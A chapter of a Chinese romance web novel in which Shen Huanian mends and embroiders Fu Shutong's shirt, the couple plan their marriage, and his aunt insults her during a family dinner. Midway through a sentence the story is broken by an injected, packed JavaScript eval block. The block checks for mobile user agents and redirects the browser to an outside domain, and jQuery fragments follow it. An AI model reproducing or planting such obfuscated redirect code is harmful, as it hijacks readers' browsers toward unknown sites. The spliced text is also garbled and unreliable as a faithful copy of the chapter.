27.与君书

作品:《庭有枇杷树

    次日清早,沈华年迷迷糊糊地醒过来,翻个身将他抱住,继续睡。


    他本想问她早饭想吃什么,却见她依旧没睁眼,躺他怀里睡得舒坦,他便收了声,不再问。


    过了好半晌,沈华年才清醒过来。


    昨天下了一夜的雨,今早放晴,亮色的太阳光透过窗户洒进房里,落在她白如脂玉的肌肤上。


    她和付书同面对面,两人对视一眼,沈华年先坚持不住,笑出了声。


    他抬手揉揉她的脑袋,随即笑着开口:“早饭想吃什么。”


    沈华年打了个哈欠,依旧懒洋洋靠在他怀里,声音软软地开口:“不知道。我只知道很想和你待在一起。”


    他起身穿好衣服,随后将她抱起,在她额间轻吻:“今天要去看看茶馆的装潢,说好一起的哦。”


    沈华年揉揉惺忪的眼,点头道:“好。”


    趁她洗漱的间隙,付书同买了早饭,回来后沈华年却见他衣服袖口处被挂了条口子。


    “你衣服这是怎么了。”


    她刚洗完脸,将毛巾搭在架子上,便看见衬衫袖口处的破洞。


    “刚才回来时没注意,就被墙边的钩子挂了,这衣服还是你送我的。”他咂咂嘴,神色里全是抱歉。


    沈华年笑着道了句无妨,随后将他这衬衫脱下来:“这有什么,我缝一下就好了,你人没伤着吧。”


    她手巧,不仅能将衣服缝好,甚至还能做些其他的花样出来。


    前世因他常常出门,且避免不了四处埋伏,衣服挂出洞来是常有的事,直接换掉太过可惜,沈华年便会一件件替他缝好,顺带着绣些花样上去。


    红梅,报春花,鸢尾,甚至颜色清丽的茉莉都在她那双巧手下显现在白色的衬衫上,让他成了别人艳羡的对象。


    “我没受伤,就是得麻烦你缝衣服。”


    他将早饭放在桌上,随后从后面抱住她,抱歉地开口。


    后背传来温度,紧实的筋肉贴上她薄薄一层的旗袍,让她表面镇定,实际上耳尖已红到能滴血。


    沈华年眉眼带笑:“这有什么。”


    表面这样说,实际心里早翻起数丈高的浪。


    既然能陪他,那便多与他待一阵。


    张沅的话她一直记在心里。既不能改变,那便珍重从现在起的每一刻。


    “好了,我要给你补衣服,你先放开我。”她一边说,一边将他的手解开。


    付书同抱着她不愿撒手:“先吃饭,剩下的事等会儿再说。”


    沈华年被他闹得没办法:“好好好,你先松开我,不然我怎么吃。”


    夏末,早晚的凉风吹得人心情舒畅,吃完早饭,沈华年坐在窗口帮他补衣服。


    口子不算大,付书同在旁守着她,那双能盛满一池春水的眼里此刻却全是沈华年。


    “过几天我家里人可能要回来了,倒时侯我们成婚好不好。”


    沈华年的目光原本全在手里的衬衫上,听见这话,抬眼,偏过头来看他。


    “当然好。不过我父母那儿可能会费些功夫,我哥哥牺牲的消息他们还不知道,不知道该怎么告诉他们”


    这消息一直瞒得很好,但如今两人既要成婚,那沈华兴的事自然得和盘托出。


    付书同听完,眸色肉眼可见的暗淡下去,倒不是因为沈华年犹豫他们的婚事,而是沈华兴这事的确无法交代。


    “不过也好办,我提前几天回老家一趟,将这事说清楚。”她手中的活没停,依旧为他补着衣服。


    这相当于将所有的压力都揽在她身上,刚愈合的伤口会再次被揭开,露出血淋淋的真相。


    “我和你一道回去,既能见见你父母,也能给他们个微乎其微的宽慰。”


    思索片刻,沈华年同意下来,商议着过些时日便回去。


    “看看这怎么样,好不好看。”


    片刻后,她收好线头,随后将针线放回原处,将那衬衣展示给他看。


    这次是颗还带着叶子的枇杷。


    付书同看着这图案,眉眼一弯:“好看。”


    她绣枇杷,原意是想为他留个纪念,不至于等自己走了连个睹物思人的物都没有,却不曾想,这图案会成他难以缝合的痛,每次见到,都会想起她


    以至于后来,那些亘久不绝的思念化作了绵密的春雨,淋透了他的余生。


    ……


    茶馆的事让两人晕头转向忙了许久,直到晌午才闲下来。


    付书同却接到了家里人要提前赶回来的消息。


    那是封急电,送到他手上时不过一个钟头,薄薄的信纸上只有翻译过来的几个极为简短的字。


    沈华年猜出了些眉目,轻拍他的肩头:“出什么事了吗?”


    他摇头:“那倒没有,只是家里突然来消息说要提前回来,我打算带你去我家吃个饭。”


    是她猜错了。


    沈华年听完,悬着的心放下来。


    “那他们什么时候到啊,我也能提前准备些见面礼。”她挽着他的胳膊,温声道。


    他却隐约觉得事情没那么简单。


    前世只有他一个人回去,晚饭时便被他不知从哪里冒出来的亲戚出来当起媒婆,自作主张给付书同张罗婚事,连日子都排好了,只要付老爷子点个头,这事儿不成也得成。


    他一颗心早在沈华年身上,怎可能同意这乱牵的红线。


    晚饭的收尾,是从不发脾气的付书同破天荒跟那些杂碎亲戚大吵了一架,还顺带着将人请出了付家。


    “我知道你担心,但我也不是好欺负的,放心吧,要是欺负到我头上,我一定还回去。”


    沈华年脾气比他还温柔几分,不过真发起火来也是个狠角色。


    小时为了不缠足,趁着家里仆役走神的功夫便溜了出去,之后被逮回去罚跪祠堂依旧不怕,将祖宗排位摔得稀碎,气得沈昀差点一命归西。


    若要问这勇气是谁给的,那非沈华兴莫属。


    这人狠起来也是个疯子,偏又是个爱妹如命的人,能不顾祖宗家法,提了柴刀与沈昀对着干。


    沈昀也没法办,毕竟是自己嫡出的子女,难不成叫家法一棍子打死,让另外俩不成器的草包来承袭家业?


    沈华兴人虽疯,但功课是极好的,且除了功课外还极有经商头脑,只要不碰他逆鳞,那便能乖乖当个合格的长子,沈昀让他往东他绝不往西。


    听见这话,付书同笑着摸摸她的头:“好,那我今晚带你去见见他们。”


    若是可以,最好能将婚事定下来。


    去付家之前,沈华年特地换了件淡粉色的刺绣旗袍,头发挽成低低的发髻,淡雅的装束既合理,也不至于喧宾夺主。


    她将提前准备好的枇杷膏拿了几罐出来,准备当作见面礼。


    付书同趁她不注意,又从后面抱住她,脑袋抵着她肩膀,笑道:“人家都是婆家给新妇准备礼物,怎么你倒反过来了。”


    沈华年耳边传来酥麻感,一边将东西包装好,一边笑:“按理讲我是不用送,但这些不费钱,只是费些功夫,我便想着给你家里人也分些。”


    “那有没有我的份,一年没吃,想得厉害。”他依旧抱着她,却耍起流氓来。


    沈华年在心中暗自打趣一句,随后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157365|176818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开口:“有,怎么可能少得了我们付公子的。”


    **


    重回上海,付家这排场做得是十二分地足,门前铺了红地毯子倒不必说,单是在桌上排开的菜式便足以迷得寻常人家睁不开眼。


    沈华年映像里见这样大的场面,还是在她成年礼。


    当时沈家上下都热热闹闹地来拜访,虽心里各怀鬼胎,但表面功夫倒是做得足。


    付家亦是如此。


    一进门她便发觉不对。


    “这是哪家的姑娘啊,景程。你这些年欠的情债也算不上少,这次怎么上了心,舍得把人姑娘往屋里带。”


    她口中的情债,不过是每年都会给付书同相看姑娘罢了。不过他处理得极好,既能委婉拒绝,也不至于让女家面子上过不去。


    付筝将这事添油加醋地说出口,就是为了让人难堪,能把沈华年当场气走最好不过。


    她儿子的姻缘没成,那谁都别想踩在他们前面。


    若不是沈华年过于了解他,那定会信了这鬼话。


    谁都可能沾花惹草,在外惹出一身情债来,唯独他不可能。


    沈华年闻言,待到说话的人去了一旁后凑到付书同跟前,笑道:“我怎么不知付公子平时竟这般风流。”


    付书同知晓她是在打趣自己,低头朝她笑笑:“不用理会,他们惯会往人身上泼脏水的。”


    话说完,他却忽然神色一改,眉眼带上狠厉地看着付筝:“小姑这颠倒黑白的毛病还是不见好,改天得请个郎中来好好给你瞧瞧。”


    饶是平时再温和的性子,遭人胡乱编排也会受不了,付书同说完,阴沉着脸色带沈华年进了屋。


    “我好得很!别以为你做出一副吃人样我便怕了你,这些年给你相看的姑娘也不少,怎么偏偏就被外边的野花迷了眼。”


    沈华年听出了这话里的意思,这是明面上讨厌她,看她长得斯文,便想来个下马威将人赶走。


    她刚想反驳,付书同却先一步将她护在身后:“想娶谁是我自己的事,我也没求着小姑替我相看,与其担心我,不如担心一下你那尚在监牢中的好儿子吧。”


    只要回祖宅的人一多,争吵在所难免,原本坐在里屋的付老爷子慢悠悠起身,走到他们面前,将手中那跟檀木手杖往地上一杵,喝道:“吵什么,刚回来就吵!”


    原本还在生气的付老爷子眸光一转,看见了跟在付书同身边的沈华年。


    “这小女娃是哪家的?你怎么就将人带回来了。”


    语气里没有责备,反倒有几分常人琢磨不透的高兴。


    “她是沈家的姑娘,比我小两岁。”付书同眉眼带笑地对自己父亲介绍。


    付愈点点头:“沈家。倒与我们祖上颇有渊源,你们年龄相仿,也合适。”


    付老爷子穿了身玄色旧制袍子,外罩着烟蓝色马褂,手里盘着开过光的佛珠串,话毕  后思考着什么。


    片刻,他却忽然想起什么,手里的佛珠不停转着:“她爹娘知晓这事不?”


    付书同摇头。


    付愈差点一棍子敲死付书同:“你这混小子,一天天不让我省心,我有没有跟你讲过,这是要坏了女孩子名声的。”


    “您先别着急嘛,坐下来听我慢慢讲。”


    付书同将人带到正厅,等到付愈落座后,才恭恭敬敬递上茶水。


    “您别着急。我是打算带人先去沈家探探口风,恰巧您提前回来了,我就想着先带回来见见您,再谈其他的。”


    他站在付愈身侧,做小辈的自觉性很高。


    绷着脸缄默持续好一阵,付愈才缓缓开口。